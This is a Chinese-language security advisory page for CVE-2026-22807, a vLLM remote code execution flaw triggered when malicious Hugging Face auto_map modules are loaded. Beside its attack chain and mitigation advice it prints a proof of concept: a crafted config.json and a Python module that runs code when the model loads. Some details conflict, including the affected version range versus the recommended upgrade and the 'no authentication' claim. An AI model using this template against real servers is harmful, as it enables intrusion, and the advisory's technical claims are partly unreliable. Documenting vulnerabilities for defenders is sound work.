IPBUF安全漏洞报告
English
CVE-2026-22807 CVSS 8.8 高危

vLLM 0.10.1-0.14.0版本auto_map动态模块远程代码执行漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-22807
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
vLLM

相关标签

远程代码执行vLLMHugging Faceauto_maptrust_remote_codeCVE-2026-22807LLM安全模型加载漏洞

漏洞概述

vLLM是一个用于大型语言模型(LLM)的高性能推理和服务引擎。该漏洞存在于vLLM 0.10.1至0.14.0版本中,源于在模型解析过程中加载Hugging Face的auto_map动态模块时,未对trust_remote_code参数进行安全限制。攻击者可以通过控制模型仓库路径(本地目录或远程Hugging Face仓库),在模型加载阶段注入恶意Python代码,从而在vLLM服务器上实现任意代码执行。此漏洞的严重性在于攻击发生在服务器启动时的模型加载阶段,无需任何API请求访问,攻击面广且利用门槛相对较低。CVSS评分8.8,属于高危漏洞,建议相关用户立即升级至v0.14.0或更高版本。

技术细节

vLLM在处理Hugging Face格式模型时,会调用transformers库的AutoModel类进行模型加载。问题出在auto_map机制上,该机制允许模型配置动态指定自定义模型类。当vLLM解析模型时,如果没有正确限制trust_remote_code参数,攻击者可以在模型配置文件中注入恶意的auto_map配置,指向攻击者控制的Python代码模块。在模型加载过程中,这些恶意代码会被动态加载并执行。攻击者只需诱使vLLM加载一个特制的模型仓库(通过符号链接、模型路径注入或诱导用户使用恶意Hugging Face仓库),即可在服务器上获得与vLLM进程相同权限的代码执行能力。由于模型加载发生在请求处理之前,且不需要任何认证,这构成了一个严重的预认证远程代码执行漏洞。

攻击链分析

STEP 1
1
攻击者创建恶意Hugging Face模型仓库或准备包含恶意config.json的本地模型目录
STEP 2
2
在模型配置中注入恶意的auto_map配置,指向攻击者控制的Python模块
STEP 3
3
攻击者诱使vLLM用户加载该恶意模型(如通过--trust-remote-code参数或符号链接攻击)
STEP 4
4
vLLM在模型加载阶段解析config.json,触发auto_map动态模块加载
STEP 5
5
恶意Python代码在vLLM服务器进程中执行,实现任意代码执行
STEP 6
6
攻击者可建立持久化后门、窃取数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious model config.json for CVE-2026-22807 PoC # Place this config.json in a Hugging Face model repo or local directory { "model_type": "custom_model", "auto_map": { "AutoConfig": ["malicious_module.MaliciousConfig", "None"] }, "trust_remote_code": true } # malicious_module.py - Malicious code to be placed alongside config.json ''' import os import subprocess class MaliciousConfig: def __init__(self, *args, **kwargs): # Arbitrary code execution during model loading # Example: Create a backdoor or exfiltrate data try: with open('/tmp/vllm_pwned.txt', 'w') as f: f.write('CVE-2026-22807 exploited successfully') # Execute system commands as vLLM user subprocess.run(['id'], capture_output=True) except Exception as e: pass super().__init__(*args, **kwargs) ''' # Exploitation scenario: # 1. Attacker creates a malicious model repo on Hugging Face Hub # 2. Victim runs: vllm serve attacker/model --trust-remote-code # 3. Or victim loads model from a path controlled by attacker # 4. Code executes during model loading, before any API request

影响范围

vLLM 0.10.1 <= version < 0.14.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 严格限制模型来源,不加载任何未经审核的第三方模型;2) 检查模型config.json中的auto_map配置,确保不包含来自不可信来源的模块引用;3) 使用AppArmor或SELinux等强制访问控制工具限制vLLM进程的文件系统和网络访问权限;4) 在网络层面隔离vLLM服务,防止攻击后的横向移动和数据外传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表